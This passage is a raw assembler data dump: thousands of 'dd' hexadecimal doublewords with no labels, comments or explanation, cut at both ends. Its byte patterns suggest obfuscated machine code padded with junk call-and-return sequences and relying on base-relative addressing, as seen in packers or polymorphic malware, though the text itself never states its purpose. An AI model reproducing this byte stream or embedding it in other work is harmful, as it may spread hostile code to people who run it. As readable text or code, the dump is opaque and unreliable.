66F47504h dd 0C8F4CF81h, 1609B589h, 45B705E7h, 880Dh, 0A41ABB00h dd 8BFC2DEFh, 0E71AA995h, 4D8D8B05h, 6A05E72Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0F52AC355h, 6800Fh, 8D890000h, 5E71D71h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 85895818h, 5E72AEDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9EC35747h dd 29531C9Dh, 0E7002595h, 0BD835B05h, 5E71865h, 91840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 7A3AC355h, 18F0F65h, 0FC000000h dd 0B8h, 10E900h, 51CB0000h, 470ECA52h, 7CAA1DB7h, 0CFB24AC4h dd 8D8DC294h, 5E74D24h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 76C35545h, 0E281F606h, 0FFFC7C02h, 9E9E1h dd 5CF50000h, 9B47220Ah, 0E985110Fh, 14h, 0CEC791h, 0C6533CC0h dd 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 2739BD83h, 0F0005E7h dd 50E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0F9B5896Ah, 0F805E721h, 2739BD83h dd 0F0105E7h, 4F984h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 8166347Fh, 8BE363F7h dd 0E729B19Dh, 0AE38105h, 8313B1D8h, 0E72739BDh, 860F0305h dd 488h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0E2C35545h, 950B6060h, 5E72CE9h, 1CD68166h, 9D33615Dh dd 5E71569h, 6A6061h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 8DD8E6C3h, 89AE4900h, 0E71A219Dh dd 0A59D8B05h, 6605E71Ah, 0F781D98Ch, 6DD2D105h, 2904E180h dd 0E7273DBDh, 49858905h, 0A05E708h, 0AD840FC9h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 6982C356h, 0DB45B90Ch, 0CE8h, 0D7664C00h dd 0C0353A7h, 6DC96EBBh, 13E8DBh, 0B76F0000h, 0C65A5B5h dd 42D954F5h, 0C80F5C68h, 45981686h, 870F74h, 5F000000h dd 99858B5Fh, 6605E706h, 8533FB8Bh, 5E71309h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A3C35646h, 310FBB9Bh dd 5E9h, 0D85BD100h, 0F90E5E8h, 289h, 50D98B00h, 13E8h dd 3A48800h, 87DE3D2Fh, 4E7A5DACh, 4293718Eh, 0C83402EAh dd 7E8h, 5E2C5300h, 6734CFD2h, 0DE9h, 240F0800h, 0A8A3D579h dd 0BE48402Eh, 5B5F77B9h, 6AF990h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 9CC35646h, 0A20BA410h, 311CD28Dh dd 5AEB8166h, 6AF668F0h, 58BB000Eh, 815872D4h, 99092404h dd 6A0010h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0AD0D76C3h, 8A7314F0h, 1B7195FFh, 830F05E7h dd 5, 39F38166h, 0ED95BFC0h, 85890D03h, 5EAA646h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 97C35242h, 248B9729h dd 259D8B35h, 0E905E702h, 1F1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0AFC35242h, 99295110h, 1C7F03F4h dd 7E86Ch, 70DB0000h, 34796580h, 86BF66F9h, 0D98A5FF2h dd 0A63E858Bh, 0C705EAh, 18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0BBC35646h, 8E909DCAh, 0BF66DBA3h dd 0B58B0797h, 5EAA642h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 3BC35242h, 0E97B7B3Eh, 0Bh, 0A48CC1Fh dd 0B2C51CA6h, 8B7043F0h, 0E7328985h, 0A6BB6605h, 8B068990h dd 0E703F99Dh, 99858B05h, 305E706h, 0E728D59Dh, 4468905h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 14C35646h dd 0C7CDC629h, 62A347BAh, 0D88B5296h, 8E9505Bh, 2C000000h dd 0D1F33B1Eh, 96DD5BF4h, 0B5FFD88Bh, 5EAA63Eh, 0B5895360h dd 5E70AB1h, 61605259h, 4E86158h, 0FF000000h, 0E9001F03h dd 13h, 1ECB3244h, 7F678B18h, 75043090h, 1FE1D66Bh, 50595F01h dd 0E215A9BFh, 24448B58h, 810F04h, 8B000000h, 357DBF00h dd 448973FEh, 0BF600424h, 471ED175h, 59CA8B57h, 6A5861h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 77191CC3h, 95011647h, 5E71A8Dh, 0A646858Dh, 6A05EAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 6A482CC3h, 0B58B6001h, 5E70B4Dh, 0BAB37DBAh, 0E990616Ah dd 0Dh, 0F0AD0D76h, 8E8A7314h, 0B25C3D75h, 0BB6650C1h dd 0FF9021CDh, 0E71B7195h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 89E46AFDh, 0E732B9BDh, 6A6105h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 669C71C3h, 0F381DA8Bh, 5D3CC00Fh, 273985C7h, 305E7h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0CD8E12C3h, 46BD837Fh, 5EAA6h, 46840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E9B62CC3h, 3Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0E2C35040h, 9D89AC69h, 5E700F5h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 1A32C350h, 0B05D5282h, 0AD9D0352h, 5F05E728h, 6AF88B66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 93C4C351h, 0BDB3EE27h, 0BF0FD44Ch, 9D8D89D8h dd 8305E724h, 0E72739BDh, 850F0305h, 45Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 15C35343h, 0F2B92B3h dd 584h, 0DF816600h, 0BD8B9F3Dh, 5E721E9h, 0A646BD83h dd 0F0005EAh, 42284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0B954957Bh, 0FD288ABDh dd 79E7801Ch, 0A646B5FFh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 68F7CDC3h, 14911ABBh dd 8953B0A2h, 0E71C519Dh, 81665B05h, 0FFA628CBh, 0E7021995h dd 71BD8B05h, 8B05E72Fh, 0EAA63AB5h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 9B457934h dd 6C7DF35h, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 20C35545h, 4650FD94h, 81536DC7h, 0D0C5DEF3h dd 89505B1Dh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0B47DDAC3h, 69B703ECh, 669D586Fh dd 0FFF139BBh, 0EAA646B5h, 958B6005h, 5E716EDh, 13E9h dd 3F8EF400h, 46FABCD8h, 6AFBC1A9h, 0D4A3E132h, 8A58629h dd 3195FF61h, 6A05E700h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 66F2C350h, 0ED2BDB81h dd 0A63AB58Bh, 8BFC05EAh, 0E7187D85h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 9624793h, 8029B6C7h, 0B58963C7h, 5E72E6Dh, 0C48689h dd 0E3810000h, 2C15533h, 1AA9958Bh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 481C3BC3h dd 82257AFAh, 0E9B26FA3h, 11h, 1722D79h, 148F4134h, 5D27D830h dd 0B04E0433h, 0DB589E4h, 8305E71Dh, 6A04C2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4A5E54C3h dd 81205089h, 380EE8EBh, 0C3858D1Dh, 0F05EABAh, 8689DABFh dd 0B8h, 2CDD8D01h, 816605E7h, 6ABBFDF3h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 850FFD86h, 2, 0B5FFDE8Ah, 5EAA646h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 7AC35343h, 13990E44h, 61F6A694h dd 0B18D89EDh, 0FF05E72Eh, 0E71ABD95h, 359D8B05h, 5005E719h dd 0FE9h, 535B4200h, 0ADEC1EF7h, 6131C4B9h, 75EE1116h dd 6A243489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0CB30C356h, 9D01A4A4h, 5E71971h dd 0A646B5FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 1A7324C3h, 0FD6AE59h, 95FFDBB7h dd 5E70779h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0FAC35343h, 58763D57h, 0EFB658Ah, 38F0F66h, 57000000h dd 0BD8B5BF9h, 5E728E1h, 2D0DBD83h, 0F0005E7h, 4284h, 0D858900h dd 9605E720h, 50FA8B66h, 6A96FB8Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6CD6C356h dd 0AE85Bh, 0DC5B0000h, 358FE8A2h, 9F02D71Bh, 7F19589h dd 0FF5F05E7h, 0EAA646B5h, 0BD9D2905h, 0FF05E701h, 0E7243595h dd 0EB816605h, 0B5FF3DBBh, 5EAA646h, 15EDBD8Bh, 95FF05E7h dd 5E7076Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 6DC35141h, 7BAEE44Ch, 9E9h, 0FDCA9B00h, 4E731876h dd 0BD83E8E5h, 5E72D85h, 44840F02h, 66000000h, 0E381FA8Bh dd 5174FE37h, 1185858Bh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0CD6E37C3h, 661143DFh dd 0C6FA8Bh, 9E900h, 89B20000h, 3419DBC1h, 0C76AE2D9h dd 0E7231985h, 5, 6E800h, 3BCA0000h, 2E8BB10Fh, 1FBACF81h dd 0E95B61B0h, 0FFFFF257h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 9FC35141h, 4C2A5271h, 7B33BADBh, 0BF0FC18Bh dd 95858DD9h, 6605E713h, 902FF1BFh, 0B2DABB66h, 93BB6650h dd 6A900Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 14E805C3h, 7D000000h, 46FF1657h, 0E1D3304h dd 68DCE990h, 15749C26h, 8B3421C6h, 0E700B99Dh, 6A5F05h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5DC35747h dd 0AFE7D4E1h, 0F06B56Eh, 6AFBBFh, 0F19D8B57h, 5B05E713h dd 4790858Dh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0BE7F55C3h, 7CD448A6h, 0DE7CEB81h dd 0C0834D00h, 61BD8B05h, 9005E701h, 50605250h, 5A310F52h dd 310F6158h, 0AE8h, 76C34F00h, 3FAADE96h, 5FE7BD44h, 0E850585Ah dd 0Ah, 508EBFB6h, 0ABF06A01h, 8F0F2F68h, 15h, 10E9h, 0D74A3300h dd 0F1A9965Bh, 401E266h, 0D8FD4CF4h, 29905F6Ah, 0E72D69BDh dd 6A006A05h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 5384C353h, 6673854Eh, 6AABDBBBh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0FFD98B08h, 0E71A4D95h, 53D38105h, 8D502BBFh dd 0EAA4AA8Dh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 1C29DA1Dh, 38449CD6h dd 9D8BE08Dh, 5E7251Dh, 0AE9D1FFh, 5D000000h, 2A605B39h dd 80F677F2h, 10E9ABh, 5EF20000h, 6D0CFD98h, 0D125A3C0h dd 6D6E9796h, 0BD8355BAh, 5E72B8Dh, 0C2850F01h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0C6FCC356h, 1AF848FAh, 0B70FD0B0h, 6A026AF8h dd 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E942C356h dd 0Ch, 0D9BFB729h, 2CD9968Bh, 4BFD51FCh, 9519589h, 0BB9005E7h dd 0D22321Eh, 11E950h, 6A50000h, 0AB5911FBh, 90B7E403h dd 0F6C7C938h, 9056D950h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 73C35545h, 0F25269C0h, 4399589h, 0BB6605E7h dd 95FF0476h, 5E71ABDh, 14E9h, 24A44B00h, 0B49F573Ch, 0AA1E2C6h dd 0CEDF62F5h, 41AE488h, 0DB4E997h, 0E80000h, 5D000000h dd 479AED81h, 31F505EBh, 0E72AA59Dh, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 81665AC8h dd 8B7458C7h, 0E723BDBDh, 0FD858D05h, 6A05EA90h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0D900C357h, 32F55A66h, 45A64512h, 0CCBF6690h, 899050A4h dd 0E71BB5B5h, 35FF6405h, 0 dd 237D9D8Bh, 8D8905E7h, 5E70355h, 258964h, 0FC000000h dd 14FD85FFh, 665705E7h, 5BE0F8BBh, 0EE9FF6Ah, 81000000h dd 9BDDEB3h, 0BEBB3CE8h, 0CF2282CAh, 0F9B5FF04h, 8905E722h dd 0E720358Dh, 5195FF05h, 0E905E704h, 112h, 0AE19509h dd 0B005E7h, 1A458501h, 0E6F905E7h, 0F58D8970h, 0E405E70Bh dd 59D8B71h, 3C05E72Dh, 0EB830F61h, 89000000h, 0E70BA9B5h dd 51BB6605h, 0C8B60F51h, 4830Fh, 0B7570000h, 6BA5B72h dd 8B000000h, 0E715899Dh, 89C18B05h, 0E7056DBDh, 4E8C105h dd 0A63C9BFh, 0E2F7661Ch, 0FC82BF5h, 0D18BDEBFh, 0FE9h dd 26ACBA00h, 0D0A6928h, 0ED04C79h, 32AAB3ADh, 6E9h, 99D8B00h dd 8B05E716h, 0E7068185h, 0BE805h, 0E0920000h, 0AD1F1D8Ah dd 279CA73Ah, 799D8B91h, 5B05E71Ch, 8B07C083h, 0E721C5BDh dd 0C08305h, 11E8h, 109B9A00h, 0D89E2DEDh, 0C741BCD5h dd 0E76F3Eh, 0BF0F3723h, 0D03B5BFBh, 11830Fh, 0BD8B0000h dd 5E71875h, 39E9h, 419D2900h, 8B05E728h, 0E729798Dh, 0B5850105h dd 8305E705h, 840F01E1h, 1Eh, 0C45A66BBh, 79A58367h, 0FE05E729h dd 27799D8Bh, 958905E7h, 5E70681h, 0E9FCh, 0B58D0000h dd 5EAC6DEh, 6AE0B3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 9C35545h, 0CF81B74Fh, 1B512502h, 21C195FFh dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 33B43BC3h, 0E7005D9Dh, 0F57B905h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0EBEB12C3h, 3547BB66h, 6AFCE183h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4EDAC350h dd 45873DAEh, 0E8ADEE19h, 10h, 0CDF2D875h, 1C30983Bh, 5136DC2Fh dd 580C3217h, 1BE5BD8Bh, 0FC5F05E7h, 0EE8h, 2009E500h dd 0C4F58A1h, 0EFA18127h, 9839791h, 0E72AF595h, 0B85B05h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 5671C351h, 0E9A7EB81h, 2B5B4C1Ch dd 50006AD2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 21B58975h, 0AD05E716h, 0E8D1C233h, 0E983D003h dd 60F47504h, 1741858Bh, 8D8B05E7h, 5E70159h, 53006A61h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 5D9F3672h, 894AB9BBh, 0E7140995h, 880D05h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 66E6EC3h, 1AA9958Bh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 77383EC3h, 0BD8B179Ch dd 5E72891h, 2A4D8D8Bh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 534381C3h, 8D8D291Fh dd 5005E732h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0CB78311Dh, 89FDC8ECh, 0E712D59Dh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD83E9DFh, 5E71865h, 53840F00h, 0B8000000h, 0 dd 0B45EBF66h, 4D248D8Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0FE4ADC3h, 9D8BDAB7h dd 5E7077Dh, 11E9h, 599EBC00h, 0B3C6B7EAh, 3E092B15h, 2F34F7B9h dd 0E1FFC8A4h, 24B98589h, 0BD8305E7h, 5E72739h, 3D840F00h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0CFF5C355h, 0E41ABB66h, 2739BD83h dd 0F0105E7h, 42A84h, 0FABF0F00h, 2739BD83h, 0F0305E7h dd 3E486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 7A226F13h, 38EF81BDh, 0F6DD731h dd 68Ah, 59858900h, 6005E709h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0DDC35545h, 1F8BD08Fh, 8C665F0Bh dd 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 1368CBEh, 8D295310h, 5E732F1h, 5704E180h dd 73F5BB66h, 0FC90A5Bh, 13F84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 6890F3Eh, 89000000h dd 0E715199Dh, 8BFE8B05h, 0E7069985h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 81B57BE0h, 3EBBBC27h, 0BD0B29FBh, 5E721FDh, 0BA98529h dd 853305E7h, 5E71309h, 31E38166h, 0AE950AFh, 0C1000000h dd 0FAC9D53Fh, 0E96B26C1h, 24048955h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 4C35040h, 3E89D9EDh, 0CF81C639h dd 6C34483Dh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0AFCBA9C3h, 0DED20702h, 4D20C868h dd 0FA8B6638h, 37243481h, 8A385223h, 7195FFDDh, 6A05E71Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 8339C353h, 9E9h, 43EF0300h, 88D67061h, 0F98A369Ch dd 0A6468589h, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 401AE8C3h, 4530B784h, 0E92A5D9Ch dd 1C0h, 0A63E858Bh, 0C705EAh, 18h, 2EE99D8Bh, 0B58B05E7h dd 5EAA642h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0EDC35040h, 72E55827h, 5E9A849h, 0B3000000h, 47A3DAAFh dd 858BDE8Bh, 5E73289h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 8C35343h, 0EF81669Ch, 0B70FB3F5h, 660689DAh dd 9FA9EB81h, 0EE8h, 51CA1700h, 9E5FD0C3h, 0E1C6D59Ah dd 51FE606Fh, 5B5B6160h, 699858Bh, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 52D855C3h dd 9B31FECBh, 0CD952941h, 2305E71Bh, 0E72E9D9Dh, 4468905h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 73C35545h dd 0F88B6650h, 0F5243489h, 0A63EB5FFh, 8B6605EAh, 0DF4F68F9h dd 566050BCh, 5052505Bh, 5A310F52h, 66310F58h, 5ADCDDBEh dd 34816158h, 0A3DCB024h, 51006A50h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0AA62018h dd 2D08B6D4h, 0A646858Dh, 0BD8B05EAh, 5E71679h, 51525090h dd 0F5BD98Ah, 0F525031h, 5A5F5631h, 50585A58h, 5E8h, 0D50400h dd 6660ECC1h, 0E9C8E6BBh, 0Ch, 0DABE4B49h, 5E86400Ch, 5400A244h dd 6A905F61h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0E08FC355h, 0F58D31h, 95FF05E7h dd 5E71B71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 25C35141h, 0B1B58961h, 6605E727h, 0C7A38FBFh, 0E7273985h dd 305h, 0B7DDBB00h, 0BD835F3Ch, 5EAA646h, 2E840F00h, 81000000h dd 4AC72EE3h, 3EE97Ah, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 233D7DC3h, 0E70831BDh dd 0C305005h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0F3C35242h, 0FE9h, 89722500h, 0BDDEB381h, 0BB3CE809h dd 2282CABEh, 890Fh, 0BD830000h, 5E72739h, 19850F03h, 6A000004h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0AD45C352h, 632F89F8h, 983F4EEDh, 46BD83F5h dd 5EAA6h, 3E6840Fh, 0FFF90000h, 0EAA646B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0FC9F0B8h, 17BF15DFh, 0FFF88B66h, 0E7021995h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0F08318A6h, 3AB58BAAh, 8105EAA6h, 8607D0CBh, 106C749h dd 81000100h, 0FCFA0EDFh, 8B669663h, 0DE850D8h, 7F000000h dd 0EDCD644Bh, 0B5660A08h, 4770F80Eh, 507ABF66h, 0CF80965Bh dd 46B5FF2Ch, 6A05EAA6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 7732C350h, 21F919B6h dd 0DE8B66E5h, 14F1BD8Bh, 95FF05E7h, 5E70031h, 0A5B7EB81h dd 9D8B464Ah, 5E70415h, 0A63AB58Bh, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B9E26EC3h dd 0C0C9CB43h, 840F896Fh, 14h, 0E800Fh, 9E90000h, 31000000h dd 0D42C71h, 0A527F096h, 187D858Bh, 0BD8905E7h, 5E70175h dd 0C48689h, 9D8B0000h, 5E709F5h, 1AA9958Bh, 6A05E7h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0B422D9C3h, 89569FFBh, 0E71791BDh, 0C2835F05h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 3617418h, 7F5CF89Ah, 9D8BD1BFh, 5E72E51h, 1205089h dd 0E70BF185h, 0C3858D05h, 8B05EABAh, 0B88689D9h, 0E8000000h dd 14h, 988BFBD0h, 0CCA68A0h, 0FB044ED0h, 0EE84894Fh, 72C64472h dd 5FBBCB80h, 0BB56006Ah, 7FAEBDC5h, 160605Bh, 0E71335B5h dd 0B5853105h, 6105E71Bh, 0B5FF61F8h, 5EAA646h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 12C35545h, 36434EE9h dd 95FFDE6Eh, 5E71ABDh, 2A98BF66h, 60525096h, 860Fh, 0CB8B0000h dd 5A310F61h, 57505058h, 6A965B5Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0ED7CC356h dd 8B6644E1h, 46B5FFD8h, 8B05EAA6h, 0E713659Dh, 7995FF05h dd 6605E707h, 0CA17D381h, 33A9BF66h, 2D0DBD83h, 0F0005E7h dd 5D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 23AC8D2Ch, 8919EAC3h, 0E713BD85h dd 8C0F5005h, 2, 348902B3h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0D120993Dh dd 0B6C9390Bh, 0DF8166EBh, 0B5FF16D8h, 5EAA646h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4BC35747h, 66FE8B66h dd 50B4CABFh, 0B21BD2Bh, 0FF5F05E7h, 0E7243595h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 5820F34h, 66000000h, 3EB3C781h, 0A646B5FFh, 9D8B05EAh dd 5E70AE9h, 76D95FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BD8BF4C3h, 5E7057Dh dd 2D85BD83h, 0F0205E7h, 5C84h, 8B2BB700h, 0E7118585h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0ED21F1AAh, 92731CB4h, 0C6EBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ABC35545h, 0C2B3C5FFh dd 36615198h, 8589520Ch, 5E70241h, 1985C75Bh, 5E723h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0FF5C356h, 0FFF343E9h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6F82B9C3h dd 0FD11A7Bh, 582h, 0C737BB00h, 0DF8178E0h, 1B04E8BBh dd 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BD2948C3h, 5E70109h, 2D01BD89h, 858D05E7h dd 5E71395h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0FC35545h, 0BF519063h, 4BAD18B0h, 8B52505Fh, 2B905FDEh dd 0E72C69BDh, 8B006A05h, 0E71B3D9Dh, 6A006A05h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 9175C357h, 2E850BFDh, 0DF8B661Bh, 571F858Dh, 6A05EBh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 245F6C3h, 98C502B5h, 0DFD78166h, 5C083F9h, 6830Fh, 85890000h dd 5E713DDh, 10BF6650h, 24048988h, 6E9h, 0F9104700h, 6AF7369Ah dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 6A3A2D71h, 0F668BB00h, 95FF6F5Ch, 5E71A4Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EDC35040h dd 255699Dh, 8B565A25h, 8D8D5BFAh, 5EAA4AAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FEC35545h, 9DBC3119h dd 8BCEB762h, 6AD1FFDFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 3F8AC357h, 0F5A73E4h dd 685h, 1D8D8900h, 8305E71Bh, 0E72B8DBDh, 850F0105h, 68h dd 2B09BD8Bh, 26A05E7h, 0F78B6660h, 8B665061h, 240489DFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7EC35545h dd 0A795C45Dh, 0F6115A1h, 9D03DFBFh, 